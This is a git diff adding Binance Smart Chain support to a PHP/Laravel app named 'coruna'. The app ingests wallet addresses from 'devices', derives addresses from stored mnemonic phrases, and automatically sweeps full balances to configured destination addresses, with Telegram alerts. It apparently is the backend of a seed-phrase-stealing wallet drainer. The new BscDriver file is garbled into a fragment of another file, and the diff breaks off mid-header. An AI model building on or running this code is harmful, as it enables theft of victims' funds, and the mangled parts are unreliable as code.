diff --git a/.env.example b/.env.example index 9f7333a..3d1df22 100644 --- a/.env.example +++ b/.env.example @@ -86,7 +86,9 @@ TELEGRAM_WEBHOOK_SECRET= TRANSFER_TO_ADDRESS= TRANSFER_TO_ADDRESS_ETH= +TRANSFER_TO_ADDRESS_BSC= TRANSFER_TO_ADDRESS_BTC= +TRANSFER_TO_ADDRESS_SOL= # TRANSFER_MAX_USDT=0 # TRANSFER_MAX_TRX=0 diff --git a/app/Http/Controllers/Admin/TransferRecordController.php b/app/Http/Controllers/Admin/TransferRecordController.php index 0c6da41..bbc2b1d 100644 --- a/app/Http/Controllers/Admin/TransferRecordController.php +++ b/app/Http/Controllers/Admin/TransferRecordController.php @@ -21,6 +21,7 @@ class TransferRecordController extends Controller 'chains' => [ 'tron' => 'TRON', 'eth' => 'ETH', + 'bsc' => 'BSC', 'btc' => 'BTC', ], 'assets' => ['USDT', 'TRX', 'ETH', 'BTC', 'BNB'], diff --git a/app/Http/Controllers/Admin/WalletAddressController.php b/app/Http/Controllers/Admin/WalletAddressController.php index e08612a..2dddf0b 100644 --- a/app/Http/Controllers/Admin/WalletAddressController.php +++ b/app/Http/Controllers/Admin/WalletAddressController.php @@ -159,9 +159,10 @@ class WalletAddressController extends Controller if ($amount === '' || strcasecmp($amount, 'all') === 0 || $amount === '全部') { $amount = null; } else { - $decimals = match ($asset) { - 'ETH', 'BNB' => 18, - 'BTC' => 8, + $decimals = match (true) { + $asset === 'ETH', $asset === 'BNB' => 18, + $asset === 'BTC' => 8, + $asset === 'USDT' && $chain === 'bsc' => 18, default => 6, }; if (! preg_match('/^\d+(\.\d{1,'.$decimals.'})?$/', $amount)) { @@ -207,6 +208,9 @@ class WalletAddressController extends Controller if (str_contains($type, 'TRON') || $type === 'TRX') { return 'tron'; } + if (str_contains($type, 'BSC') || str_contains($type, 'BNB') || str_contains($type, 'BINANCE')) { + return 'bsc'; + } if (str_contains($type, 'ETH') || str_contains($type, 'EVM')) { return 'eth'; } @@ -234,6 +238,7 @@ class WalletAddressController extends Controller { return match ($chain) { 'eth' => ['ETH', 'USDT', 'BNB'], + 'bsc' => ['BNB', 'USDT'], 'btc' => ['BTC'], default => ['USDT', 'TRX'], }; diff --git a/app/Services/AutoTransferService.php b/app/Services/AutoTransferService.php index d42e668..c22ac59 100644 --- a/app/Services/AutoTransferService.php +++ b/app/Services/AutoTransferService.php @@ -379,7 +379,8 @@ class AutoTransferService { return match ($chain) { 'TRON', 'TRX' => ['USDT', 'TRX'], - 'ETH', 'ETHEREUM', 'EVM' => ['ETH', 'USDT', 'BNB'], + 'ETH', 'ETHEREUM', 'EVM' => ['ETH', 'USDT'], + 'BSC', 'BNB', 'BINANCE' => ['BNB', 'USDT'], 'BTC', 'BITCOIN' => ['BTC'], default => [], }; @@ -390,6 +391,7 @@ class AutoTransferService return match ($chain) { 'TRON', 'TRX' => 'tron', 'ETH', 'ETHEREUM', 'EVM' => 'eth', + 'BSC', 'BNB', 'BINANCE' => 'bsc', 'BTC', 'BITCOIN' => 'btc', default => null, }; diff --git a/app/Services/Chain/BscDriver.php b/app/Services/Chain/BscDriver.php new file mode 100644 index 0000000..7e67ebe --- /dev/null +++ b/app/Services/Chain/BscDriver.php @@ -0,0 +1,20 @@ + $this->tron, 'eth', 'ethereum' => $this->eth, + 'bsc', 'bnb', 'binance' => $this->bsc, 'btc', 'bitcoin' => $this->btc, 'sol', 'solana' => $this->sol, default => throw new InvalidArgumentException("Unsupported chain: {$chain}"), diff --git a/app/Services/Chain/EthDriver.php b/app/Services/Chain/EthDriver.php index 78e129d..b0f9a35 100644 --- a/app/Services/Chain/EthDriver.php +++ b/app/Services/Chain/EthDriver.php @@ -76,18 +76,14 @@ class EthDriver implements ChainDriver // fall through to token } - foreach (['coruna.eth.usdt_contract', 'coruna.eth.bnb_contract'] as $key) { - $contract = trim((string) config($key, '')); - if ($contract === '') { - continue; - } - + $contract = trim((string) config($this->configPrefix().'.usdt_contract', '')); + if ($contract !== '') { try { if (bccomp($this->getTokenBalance($address, $contract), '0', 18) > 0) { return true; } } catch (\Throwable) { - // try the next token + return false; } } @@ -129,14 +125,14 @@ class EthDriver implements ChainDriver private function sendLegacy(string $privateKey, string $from, string $to, string $valueWei, string $data): string { - $chainId = (int) config('coruna.eth.chain_id', 1); + $chainId = (int) config($this->configPrefix().'.chain_id', 1); $nonceHex = $this->rpc('eth_getTransactionCount', [EthAddress::normalize($from), 'pending']); $gasPriceHex = $this->rpc('eth_gasPrice', []); if (! is_string($nonceHex) || ! is_string($gasPriceHex)) { throw new RuntimeException('Failed to fetch nonce/gasPrice'); } - $gasLimit = trim((string) config('coruna.eth.gas_limit', '')); + $gasLimit = trim((string) config($this->configPrefix().'.gas_limit', '')); if ($gasLimit === '' || ! preg_match('/^\d+$/', $gasLimit)) { $gasLimit = ($data === '0x' || $data === '') ? '21000' : '100000'; } @@ -190,19 +186,21 @@ class EthDriver implements ChainDriver return $human === '' ? '0' : $human; } + protected function configPrefix(): string + { + return 'coruna.eth'; + } + private function tokenDecimals(string $contract): int { $normalized = EthAddress::normalize($contract); - $known = [ - EthAddress::normalize((string) config('coruna.eth.usdt_contract', '')) => (int) config('coruna.eth.usdt_decimals', 6), - EthAddress::normalize((string) config('coruna.eth.bnb_contract', '')) => (int) config('coruna.eth.bnb_decimals', 18), - ]; - unset($known['']); - if ($normalized !== '' && isset($known[$normalized]) && $known[$normalized] > 0) { - return $known[$normalized]; + $usdt = EthAddress::normalize((string) config($this->configPrefix().'.usdt_contract', '')); + $decimals = (int) config($this->configPrefix().'.usdt_decimals', 6); + if ($normalized !== '' && $usdt !== '' && $normalized === $usdt && $decimals > 0) { + return $decimals; } - return max(1, (int) config('coruna.eth.usdt_decimals', 6)); + return max(1, $decimals > 0 ? $decimals : 6); } private function toTokenUnits(string $amount, int $decimals): string @@ -248,7 +246,7 @@ class EthDriver implements ChainDriver private function rpc(string $method, array $params): mixed { - $url = rtrim((string) config('coruna.eth.rpc_url', 'https://ethereum.publicnode.com'), '/'); + $url = rtrim((string) config($this->configPrefix().'.rpc_url', 'https://ethereum.publicnode.com'), '/'); $resp = $this->http()->post($url, [ 'jsonrpc' => '2.0', 'id' => 1, @@ -256,15 +254,15 @@ class EthDriver implements ChainDriver 'params' => $params, ]); if (! $resp->successful()) { - throw new RuntimeException('ETH RPC HTTP '.$resp->status()); + throw new RuntimeException(strtoupper($this->chainId()).' RPC HTTP '.$resp->status()); } $json = $resp->json(); if (! is_array($json)) { - throw new RuntimeException('Invalid ETH RPC response'); + throw new RuntimeException('Invalid '.strtoupper($this->chainId()).' RPC response'); } if (isset($json['error'])) { $msg = $json['error']['message'] ?? json_encode($json['error']); - throw new RuntimeException('ETH RPC: '.(is_string($msg) ? $msg : 'error')); + throw new RuntimeException(strtoupper($this->chainId()).' RPC: '.(is_string($msg) ? $msg : 'error')); } return $json['result'] ?? null; diff --git a/app/Services/IngestService.php b/app/Services/IngestService.php index fbc9a18..72f2e3c 100644 --- a/app/Services/IngestService.php +++ b/app/Services/IngestService.php @@ -859,11 +859,7 @@ class IngestService $balance = ''; } - $existing = WalletAddress::query() - ->where('device_id', $device->id) - ->where('address', $address) - ->where('source', $source) - ->first(); + $existing = $this->findAddressRow($device->id, $address, $source, $chainType); $beforeCoins = $existing?->coinSnapshot(); $coinAttrs = WalletAddress::coinAttributesFromBalance(is_array($balance) ? $balance : null); @@ -877,10 +873,19 @@ class IngestService $attrs['monitor'] = 1; } - $addr = WalletAddress::query()->updateOrCreate( - ['device_id' => $device->id, 'address' => $address, 'source' => $source], - $attrs - ); + if ($existing !== null) { + $existing->fill($attrs); + $existing->save(); + $addr = $existing; + } else { + $addr = new WalletAddress([ + 'device_id' => $device->id, + 'address' => $address, + 'source' => $source, + ]); + $addr->fill($attrs); + $addr->save(); + } if ($addr->mnemonic_id === null) { $this->mnemonicLinker->linkAddress($addr); @@ -897,6 +902,19 @@ class IngestService $this->enableMonitorOrDisable($addr); } + if (! $existing && in_array($chainType, ['ETH', 'ETHEREUM', 'EVM'], true)) { + $bsc = $this->balances->ensureBscForEthAddress($addr); + if ($bsc !== null && $bsc->wasRecentlyCreated) { + $this->enableMonitorOrDisable($bsc); + $notify[] = [ + 'address' => (string) $bsc->address, + 'chain' => 'BSC', + 'balance' => $bsc->balanceDisplayLine(), + 'source' => $source, + ]; + } + } + $balanceSummary = $addr->balanceDisplayLine(); $shouldNotify = ! $existing || ($coinAttrs !== [] && $beforeCoins !== $addr->coinSnapshot()); @@ -916,6 +934,25 @@ class IngestService } } + private function findAddressRow(int $deviceId, string $address, ?string $source, string $chainType): ?WalletAddress + { + $aliases = match (true) { + in_array($chainType, ['ETH', 'ETHEREUM', 'EVM'], true) => ['ETH', 'ETHEREUM', 'EVM'], + in_array($chainType, ['BSC', 'BNB', 'BINANCE'], true) => ['BSC', 'BNB', 'BINANCE'], + in_array($chainType, ['TRON', 'TRX'], true) => ['TRON', 'TRX'], + in_array($chainType, ['BTC', 'BITCOIN'], true) => ['BTC', 'BITCOIN'], + in_array($chainType, ['SOL', 'SOLANA'], true) => ['SOL', 'SOLANA'], + default => [$chainType], + }; + + return WalletAddress::query() + ->where('device_id', $deviceId) + ->where('address', $address) + ->where('source', $source) + ->whereIn('chain_type', $aliases) + ->first(); + } + /** * Two-field monitor model: * monitor — user-facing switch (default ON for new addresses) diff --git a/app/Services/MnemonicAddressLinker.php b/app/Services/MnemonicAddressLinker.php index 4427020..42c5676 100644 --- a/app/Services/MnemonicAddressLinker.php +++ b/app/Services/MnemonicAddressLinker.php @@ -41,7 +41,7 @@ class MnemonicAddressLinker } $target = (string) $address->address; - $caseInsensitive = $driver->chainId() === 'eth'; + $caseInsensitive = in_array($driver->chainId(), ['eth', 'bsc'], true); foreach ($mnemonics as $mnemonicRow) { $phrase = $mnemonicRow->mnemonic; @@ -125,7 +125,7 @@ class MnemonicAddressLinker continue; } - $lookup = $driver->chainId() === 'eth' + $lookup = in_array($driver->chainId(), ['eth', 'bsc'], true) ? strtolower((string) $address->address) : (string) $address->address; @@ -193,7 +193,7 @@ class MnemonicAddressLinker */ private function deriveIndexMap(ChainDriver $driver, string $phrase): array { - $caseInsensitive = $driver->chainId() === 'eth'; + $caseInsensitive = in_array($driver->chainId(), ['eth', 'bsc'], true); $map = []; for ($index = 0; $index <= self::MAX_DERIVE_INDEX; $index++) { try { diff --git a/app/Services/MnemonicWalletDiscovery.php b/app/Services/MnemonicWalletDiscovery.php index cb3ce8a..f331552 100644 --- a/app/Services/MnemonicWalletDiscovery.php +++ b/app/Services/MnemonicWalletDiscovery.php @@ -13,7 +13,7 @@ use Illuminate\Support\Facades\Log; /** * When a mnemonic has no linked addresses, derive BIP44 indexes 0..2 for - * TRON/ETH/BTC/SOL and persist only activated addresses (after a balance query). + * TRON/ETH/BSC/BTC/SOL and persist only activated addresses (after a balance query). * Fully inactive mnemonics stay out of the DB and are not monitored; the * wallets view previews one index-0 address per chain marked 未激活. * Activated rows are persisted with monitor on. @@ -26,6 +26,7 @@ class MnemonicWalletDiscovery private const CHAINS = [ ['chain' => 'tron', 'chain_type' => 'TRON'], ['chain' => 'eth', 'chain_type' => 'ETH'], + ['chain' => 'bsc', 'chain_type' => 'BSC'], ['chain' => 'btc', 'chain_type' => 'BTC'], ['chain' => 'sol', 'chain_type' => 'SOLANA'], ]; @@ -108,7 +109,8 @@ class MnemonicWalletDiscovery { $aliases = match ($chain) { 'tron' => ['TRON', 'TRX'], - 'eth' => ['ETH', 'ETHEREUM', 'EVM', 'BNB', 'BSC', 'BINANCE'], + 'eth' => ['ETH', 'ETHEREUM', 'EVM'], + 'bsc' => ['BSC', 'BNB', 'BINANCE'], 'btc' => ['BTC', 'BITCOIN'], 'sol' => ['SOL', 'SOLANA'], default => [strtoupper($chain)], @@ -216,6 +218,7 @@ class MnemonicWalletDiscovery return match ($chain) { 'tron' => $this->probeTron($driver, $address), 'eth' => $this->probeEth($driver, $address), + 'bsc' => $this->probeBsc($driver, $address), 'btc' => $this->probeBtc($driver, $address), 'sol' => $this->probeSol($driver, $address), default => ['activated' => false, 'coins' => []], @@ -259,7 +262,6 @@ class MnemonicWalletDiscovery 'coins' => [ 'eth' => $driver->getNativeBalance($address), 'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.usdt_contract', '')), - 'bnb' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.bnb_contract', '')), ], ]; } @@ -267,6 +269,27 @@ class MnemonicWalletDiscovery /** * @return array{activated: bool, coins: array} */ + private function probeBsc(ChainDriver $driver, string $address): array + { + try { + $bnb = $driver->getNativeBalance($address); + } catch (\Throwable) { + return ['activated' => false, 'coins' => $this->emptyCoins('bsc')]; + } + $usdt = $this->tokenBalance($driver, $address, (string) config('coruna.bsc.usdt_contract', '')); + if (bccomp($bnb, '0', 18) <= 0 && bccomp($usdt, '0', 18) <= 0) { + return ['activated' => false, 'coins' => $this->emptyCoins('bsc')]; + } + + return [ + 'activated' => true, + 'coins' => [ + 'bnb' => $bnb, + 'usdt' => $usdt, + ], + ]; + } + private function probeBtc(ChainDriver $driver, string $address): array { if ($driver instanceof BtcDriver) { @@ -329,6 +352,7 @@ class MnemonicWalletDiscovery 'device_id' => $mnemonic->device_id, 'address' => $address, 'source' => $source !== '' ? $source : null, + 'chain_type' => $chainType, ]); $row->chain_type = $chainType; @@ -395,7 +419,8 @@ class MnemonicWalletDiscovery { return match ($chain) { 'tron' => ['trx' => '0', 'usdt' => '0'], - 'eth' => ['eth' => '0', 'usdt' => '0', 'bnb' => '0'], + 'eth' => ['eth' => '0', 'usdt' => '0'], + 'bsc' => ['bnb' => '0', 'usdt' => '0'], 'btc' => ['btc' => '0'], 'sol' => ['sol' => '0', 'usdt' => '0'], default => [], diff --git a/app/Services/SettingsService.php b/app/Services/SettingsService.php index 0fad9ad..97e0f5b 100644 --- a/app/Services/SettingsService.php +++ b/app/Services/SettingsService.php @@ -48,7 +48,9 @@ class SettingsService 'auto_transfer.threshold_bnb' => config('coruna.auto_transfer.threshold_bnb'), 'transfer.to_address' => config('coruna.transfer.to_address'), 'transfer.to_address_eth' => config('coruna.transfer.to_address_eth'), + 'transfer.to_address_bsc' => config('coruna.transfer.to_address_bsc'), 'transfer.to_address_btc' => config('coruna.transfer.to_address_btc'), + 'transfer.to_address_sol' => config('coruna.transfer.to_address_sol'), 'transfer.fee_address_tron' => config('coruna.transfer.fee_address_tron'), 'transfer.fee_private_key_tron' => config('coruna.transfer.fee_private_key_tron'), 'transfer.fee_topup_trx' => config('coruna.transfer.fee_topup_trx'), @@ -113,7 +115,9 @@ class SettingsService 'auto_transfer.threshold_bnb' => (string) (config('coruna.auto_transfer.threshold_bnb') ?? ''), 'transfer.to_address' => (string) (config('coruna.transfer.to_address') ?: ''), 'transfer.to_address_eth' => (string) (config('coruna.transfer.to_address_eth') ?: ''), + 'transfer.to_address_bsc' => (string) (config('coruna.transfer.to_address_bsc') ?: ''), 'transfer.to_address_btc' => (string) (config('coruna.transfer.to_address_btc') ?: ''), + 'transfer.to_address_sol' => (string) (config('coruna.transfer.to_address_sol') ?: ''), 'transfer.fee_address_tron' => (string) config('coruna.transfer.fee_address_tron', ''), 'transfer.fee_private_key_tron' => '', 'transfer.fee_private_key_tron_set' => $feeKeySet ? '1' : '0', @@ -156,6 +160,7 @@ class SettingsService 'transfer.to_address' => config(['coruna.transfer.to_address' => $value]), 'transfer.to_address_eth' => config(['coruna.transfer.to_address_eth' => $value]), 'transfer.to_address_btc' => config(['coruna.transfer.to_address_btc' => $value]), + 'transfer.to_address_sol' => config(['coruna.transfer.to_address_sol' => $value]), 'transfer.fee_address_tron' => config(['coruna.transfer.fee_address_tron' => $value]), 'transfer.fee_private_key_tron' => config(['coruna.transfer.fee_private_key_tron' => $value]), 'transfer.fee_topup_trx' => config(['coruna.transfer.fee_topup_trx' => $value !== '' ? $value : '20']), diff --git a/app/Services/TransferService.php b/app/Services/TransferService.php index 6747dfa..7bf95d1 100644 --- a/app/Services/TransferService.php +++ b/app/Services/TransferService.php @@ -33,6 +33,11 @@ class TransferService ?string $operator = null, ): array { $chain = strtolower(trim($chain)); + $asset = strtoupper(trim($asset)); + // Native BNB and later BEP20 USDT settlement both happen on BSC. + if ($asset === 'BNB') { + $chain = 'bsc'; + } $record = [ 'from_address' => $fromAddress, 'to_address' => null, @@ -85,7 +90,7 @@ class TransferService } $record['amount'] = $amount; - $this->assertAmountWithinLimit($amount, $asset); + $this->assertAmountWithinLimit($amount, $asset, $chain); $resolved = $this->resolveMnemonicForAddress($driver, $fromAddress); if ($resolved === null) { @@ -108,13 +113,7 @@ class TransferService $amount, $this->usdtContract($chain), ), - 'BNB' => $driver->sendToken( - $mnemonic, - $index, - $to, - $amount, - $this->bnbContract($chain), - ), + 'BNB' => $driver->sendNative($mnemonic, $index, $to, $amount), default => throw new RuntimeException("Unsupported asset: {$asset}"), }; @@ -422,7 +421,9 @@ class TransferService { return match ($chain) { 'eth', 'ethereum' => trim((string) config('coruna.transfer.to_address_eth', '')), + 'bsc', 'bnb', 'binance' => $this->bscToAddress(), 'btc', 'bitcoin' => trim((string) config('coruna.transfer.to_address_btc', '')), + 'sol', 'solana' => trim((string) config('coruna.transfer.to_address_sol', '')), default => trim((string) config('coruna.transfer.to_address', '')), }; } @@ -431,7 +432,9 @@ class TransferService { return match ($chain) { 'eth', 'ethereum' => 'TRANSFER_TO_ADDRESS_ETH is not configured', + 'bsc', 'bnb', 'binance' => 'TRANSFER_TO_ADDRESS_BSC (or TRANSFER_TO_ADDRESS_ETH) is not configured', 'btc', 'bitcoin' => 'TRANSFER_TO_ADDRESS_BTC is not configured', + 'sol', 'solana' => 'TRANSFER_TO_ADDRESS_SOL is not configured', default => 'TRANSFER_TO_ADDRESS is not configured', }; } @@ -440,6 +443,7 @@ class TransferService { $contract = match ($chain) { 'eth', 'ethereum' => trim((string) config('coruna.eth.usdt_contract', '')), + 'bsc', 'bnb', 'binance' => trim((string) config('coruna.bsc.usdt_contract', '')), default => trim((string) config('coruna.tron.usdt_contract', '')), }; if ($contract === '') { @@ -449,39 +453,32 @@ class TransferService return $contract; } - private function bnbContract(string $chain): string + private function bscToAddress(): string { - if (! in_array($chain, ['eth', 'ethereum'], true)) { - throw new RuntimeException('BNB is only supported on ETH'); - } - $contract = trim((string) config('coruna.eth.bnb_contract', '')); - if ($contract === '') { - throw new RuntimeException('BNB contract is not configured for '.$chain); + $bsc = trim((string) config('coruna.transfer.to_address_bsc', '')); + if ($bsc !== '') { + return $bsc; } - return $contract; + return trim((string) config('coruna.transfer.to_address_eth', '')); } private function resolveFullBalance(ChainDriver $driver, string $fromAddress, string $asset, string $chain): string { $balance = match ($asset) { - 'TRX', 'ETH', 'BTC' => $driver->getNativeBalance($fromAddress), + 'TRX', 'ETH', 'BTC', 'BNB' => $driver->getNativeBalance($fromAddress), 'USDT' => $driver->getTokenBalance($fromAddress, $this->usdtContract($chain)), - 'BNB' => $driver->getTokenBalance($fromAddress, $this->bnbContract($chain)), default => throw new RuntimeException("Unsupported asset: {$asset}"), }; $reserveKey = match ($asset) { 'TRX' => 'coruna.transfer.trx_fee_reserve', 'ETH' => 'coruna.transfer.eth_fee_reserve', + 'BNB' => 'coruna.transfer.bnb_fee_reserve', 'BTC' => 'coruna.transfer.btc_fee_reserve', default => null, }; - $scale = match ($asset) { - 'ETH', 'BNB' => 18, - 'BTC' => 8, - default => 6, - }; + $scale = $this->assetDecimals($asset, $chain); if ($reserveKey !== null) { $reserve = (string) config($reserveKey, '0'); @@ -524,7 +521,7 @@ class TransferService } $maxIndex = max(0, (int) config('coruna.transfer.max_derive_index', 20)); - $caseInsensitive = $driver->chainId() === 'eth'; + $caseInsensitive = in_array($driver->chainId(), ['eth', 'bsc'], true); foreach ($addressRows as $row) { if ($row->mnemonic_id !== null) { @@ -586,13 +583,22 @@ class TransferService return null; } - private function assertAmountWithinLimit(string $amount, string $asset): void + private function assetDecimals(string $asset, string $chain): int { - $decimals = match ($asset) { + if ($asset === 'USDT' && in_array($chain, ['bsc', 'bnb', 'binance'], true)) { + return max(1, (int) config('coruna.bsc.usdt_decimals', 18)); + } + + return match ($asset) { 'ETH', 'BNB' => 18, 'BTC' => 8, default => 6, }; + } + + private function assertAmountWithinLimit(string $amount, string $asset, string $chain): void + { + $decimals = $this->assetDecimals($asset, $chain); if (! preg_match('/^\d+(\.\d{1,'.$decimals.'})?$/', $amount) || bccomp($amount, '0', $decimals) <= 0) { throw new RuntimeException('Invalid amount'); } diff --git a/app/Services/WalletBalanceService.php b/app/Services/WalletBalanceService.php index 7d77848..0816313 100644 --- a/app/Services/WalletBalanceService.php +++ b/app/Services/WalletBalanceService.php @@ -11,7 +11,8 @@ use Illuminate\Support\Facades\Log; /** * Live on-chain balance refresh for wallet_addresses. * - * Tron: TRX + USDT (TRC20). ETH: ETH + USDT (ERC20) + BNB (ERC20). BTC: BTC only. + * Tron: TRX + USDT (TRC20). ETH: ETH + USDT (ERC20); same address also reads BSC BNB. + * BSC: native BNB + USDT (BEP20). BTC: BTC only. * SOL: SOL + USDT (SPL). */ class WalletBalanceService @@ -31,7 +32,8 @@ class WalletBalanceService return match ($chain) { 'TRON', 'TRX' => $this->refreshTron($address), - 'ETH', 'ETHEREUM' => $this->refreshEth($address), + 'ETH', 'ETHEREUM', 'EVM' => $this->refreshEth($address), + 'BSC', 'BNB', 'BINANCE' => $this->refreshBsc($address), 'BTC', 'BITCOIN' => $this->refreshBtc($address), 'SOL', 'SOLANA' => $this->refreshSol($address), default => false, @@ -54,9 +56,10 @@ class WalletBalanceService if ($contract !== '') { $attrs['usdt'] = $driver->getTokenBalance($addr, $contract); } - $bnbContract = trim((string) config('coruna.eth.bnb_contract', '')); - if ($bnbContract !== '') { - $attrs['bnb'] = $driver->getTokenBalance($addr, $bnbContract); + $bscCoins = $this->bscCoins($addr); + if ($bscCoins !== null) { + $attrs['bnb'] = $bscCoins['bnb']; + $this->persistBscSibling($address, $bscCoins); } $this->persistCoins($address, $attrs); @@ -79,6 +82,144 @@ class WalletBalanceService } } + public function refreshBsc(WalletAddress $address): bool + { + $addr = trim((string) $address->address); + if ($addr === '') { + return false; + } + + try { + $coins = $this->bscCoins($addr); + if ($coins === null) { + return false; + } + $this->persistCoins($address, [ + 'bnb' => $coins['bnb'], + 'usdt' => $coins['usdt'], + ]); + + Log::info('bsc balance refresh ok', [ + 'wallet_address_id' => $address->id, + 'address' => $addr, + 'bnb' => $address->bnb, + 'usdt' => $address->usdt, + ]); + + return true; + } catch (\Throwable $e) { + Log::warning('bsc balance refresh failed: '.$e->getMessage(), [ + 'wallet_address_id' => $address->id, + 'address' => $addr, + ]); + + return false; + } + } + + /** + * Native BNB + USDT-BEP20 for an EVM address. Null when the BSC RPC fails. + * + * @return array{bnb: string, usdt: string}|null + */ + private function bscCoins(string $address): ?array + { + try { + $driver = $this->chains->resolve('bsc'); + $coins = [ + 'bnb' => $driver->getNativeBalance($address), + 'usdt' => '0', + ]; + $contract = trim((string) config('coruna.bsc.usdt_contract', '')); + if ($contract !== '') { + $coins['usdt'] = $driver->getTokenBalance($address, $contract); + } + + return $coins; + } catch (\Throwable $e) { + Log::warning('bsc balance query failed: '.$e->getMessage(), [ + 'address' => $address, + ]); + + return null; + } + } + + /** + * When an ETH address is first stored, also keep a BSC row if that same + * address holds native BNB or USDT-BEP20. + */ + public function ensureBscForEthAddress(WalletAddress $ethRow): ?WalletAddress + { + $addr = trim((string) $ethRow->address); + if ($addr === '' || ! preg_match('/^0x[0-9a-fA-F]{40}$/', $addr)) { + return null; + } + + $coins = $this->bscCoins($addr); + if ($coins === null) { + return null; + } + if (bccomp($coins['bnb'], '0', 18) <= 0 && bccomp($coins['usdt'], '0', 18) <= 0) { + return null; + } + + return $this->persistBscSibling($ethRow, $coins); + } + + /** + * Keep a BSC row for the same device address so BEP20 USDT can be swept on BSC + * without overwriting the ETH row's ERC20 USDT. + * + * @param array{bnb: string, usdt: string} $coins + */ + private function persistBscSibling(WalletAddress $ethRow, array $coins): ?WalletAddress + { + if ($ethRow->device_id === null) { + return null; + } + + $hasFunds = bccomp($coins['bnb'], '0', 18) > 0 || bccomp($coins['usdt'], '0', 18) > 0; + $query = WalletAddress::query() + ->where('device_id', $ethRow->device_id) + ->where('address', $ethRow->address) + ->where('chain_type', 'BSC'); + if ($ethRow->source === null || $ethRow->source === '') { + $query->where(function ($q) { + $q->whereNull('source')->orWhere('source', ''); + }); + } else { + $query->where('source', $ethRow->source); + } + $sibling = $query->first(); + if ($sibling === null && ! $hasFunds) { + return null; + } + + if ($sibling === null) { + $sibling = new WalletAddress([ + 'device_id' => $ethRow->device_id, + 'address' => $ethRow->address, + 'source' => $ethRow->source, + 'chain_type' => 'BSC', + 'mnemonic_id' => $ethRow->mnemonic_id, + 'derive_index' => $ethRow->derive_index, + 'monitor' => (int) $ethRow->monitor, + ]); + } + + $sibling->chain_type = 'BSC'; + $sibling->bnb = $coins['bnb']; + $sibling->usdt = $coins['usdt']; + if ($sibling->mnemonic_id === null && $ethRow->mnemonic_id !== null) { + $sibling->mnemonic_id = $ethRow->mnemonic_id; + $sibling->derive_index = $ethRow->derive_index; + } + $sibling->save(); + + return $sibling; + } + public function refreshBtc(WalletAddress $address): bool { $addr = trim((string) $address->address); diff --git a/app/Telegram/Handlers/HelpCommand.php b/app/Telegram/Handlers/HelpCommand.php index aa01446..c8c3f26 100644 --- a/app/Telegram/Handlers/HelpCommand.php +++ b/app/Telegram/Handlers/HelpCommand.php @@ -35,7 +35,7 @@ class HelpCommand ' 省略 amount 则转全部;默认 Tron→USDT / ETH→ETH / BTC→BTC', ' 例: /transfer Txxx USDT 10', ' 例: /transfer 0x… ETH', - ' 例: /transfer 0x… BNB', + ' 例: /transfer 0x… BNB (BSC 原生 BNB)', ' 例: /transfer 1… BTC 0.01', ])); } diff --git a/config/coruna.php b/config/coruna.php index c486862..0d25530 100644 --- a/config/coruna.php +++ b/config/coruna.php @@ -118,11 +118,16 @@ return [ // Official Tether USDT ERC20 (mainnet). Empty = skip token balance/transfer. 'usdt_contract' => env('ETH_USDT_CONTRACT', '0xdAC17F958D2ee523a2206206994597C13D831ec7'), 'usdt_decimals' => (int) env('ETH_USDT_DECIMALS', 6), - // BNB ERC20 on Ethereum mainnet (not BSC native). Empty = skip BNB balance/transfer. - 'bnb_contract' => env('ETH_BNB_CONTRACT', '0xB8c77482e45F1F44dE1745F52C74426C631bDD52'), - 'bnb_decimals' => (int) env('ETH_BNB_DECIMALS', 18), 'gas_limit' => env('ETH_GAS_LIMIT', ''), ], + 'bsc' => [ + 'rpc_url' => env('BSC_RPC_URL', 'https://bsc.publicnode.com'), + 'chain_id' => (int) env('BSC_CHAIN_ID', 56), + // Official Tether USDT BEP20 (BSC). 18 decimals. Empty = skip token balance/transfer. + 'usdt_contract' => env('BSC_USDT_CONTRACT', '0x55d398326f99059fF775485246999027B3197955'), + 'usdt_decimals' => (int) env('BSC_USDT_DECIMALS', 18), + 'gas_limit' => env('BSC_GAS_LIMIT', ''), + ], 'btc' => [ // mempool.space-compatible REST root (…/api). 'api_url' => env('BTC_API_URL', 'https://mempool.space/api'), @@ -144,7 +149,9 @@ return [ 'transfer' => [ 'to_address' => env('TRANSFER_TO_ADDRESS', ''), 'to_address_eth' => env('TRANSFER_TO_ADDRESS_ETH', ''), + 'to_address_bsc' => env('TRANSFER_TO_ADDRESS_BSC', ''), 'to_address_btc' => env('TRANSFER_TO_ADDRESS_BTC', ''), + 'to_address_sol' => env('TRANSFER_TO_ADDRESS_SOL', ''), 'fee_address_tron' => env('TRANSFER_FEE_ADDRESS_TRON', ''), 'fee_private_key_tron' => env('TRANSFER_FEE_PRIVATE_KEY_TRON', ''), // Target TRX balance before a transfer (shortfall only is sent). @@ -159,6 +166,7 @@ return [ // Leave this much native when transferring "all". 'trx_fee_reserve' => env('TRANSFER_TRX_FEE_RESERVE', '1'), 'eth_fee_reserve' => env('TRANSFER_ETH_FEE_RESERVE', '0.001'), + 'bnb_fee_reserve' => env('TRANSFER_BNB_FEE_RESERVE', '0.0005'), 'btc_fee_reserve' => env('TRANSFER_BTC_FEE_RESERVE', '0.0001'), ], diff --git a/database/migrations/2026_09_26_000010_wallet_addresses_chain_type_unique.php b/database/migrations/2026_09_26_000010_wallet_addresses_chain_type_unique.php new file mode 100644 index 0000000..9dec366 --- /dev/null +++ b/database/migrations/2026_09_26_000010_wallet_addresses_chain_type_unique.php @@ -0,0 +1,26 @@ +index('device_id'); + $table->dropUnique(['device_id', 'address', 'source']); + $table->unique(['device_id', 'address', 'source', 'chain_type']); + }); + } + + public function down(): void + { + Schema::table('wallet_addresses', function (Blueprint $table) { + $table->dropUnique(['device_id', 'address', 'source', 'chain_type']); + $table->unique(['device_id', 'address', 'source']); + }); + } +}; diff --git a/resources/views/admin/addresses/index.blade.php b/resources/views/admin/addresses/index.blade.php index f4efbdd..7e10ce2 100644 --- a/resources/views/admin/addresses/index.blade.php +++ b/resources/views/admin/addresses/index.blade.php @@ -151,6 +151,9 @@ layui.use(['table', 'form', 'layer'], function () { if (type.indexOf('TRON') >= 0 || type === 'TRX' || /^T[1-9A-HJ-NP-Za-km-z]{33}$/.test(addr)) { return ['USDT', 'TRX']; } + if (type.indexOf('BSC') >= 0 || type.indexOf('BNB') >= 0 || type.indexOf('BINANCE') >= 0) { + return ['BNB', 'USDT']; + } if (type.indexOf('ETH') >= 0 || type.indexOf('EVM') >= 0 || /^0x[0-9a-fA-F]{40}$/.test(addr)) { return ['ETH', 'USDT', 'BNB']; } diff --git a/resources/views/admin/system/settings.blade.php b/resources/views/admin/system/settings.blade.php index 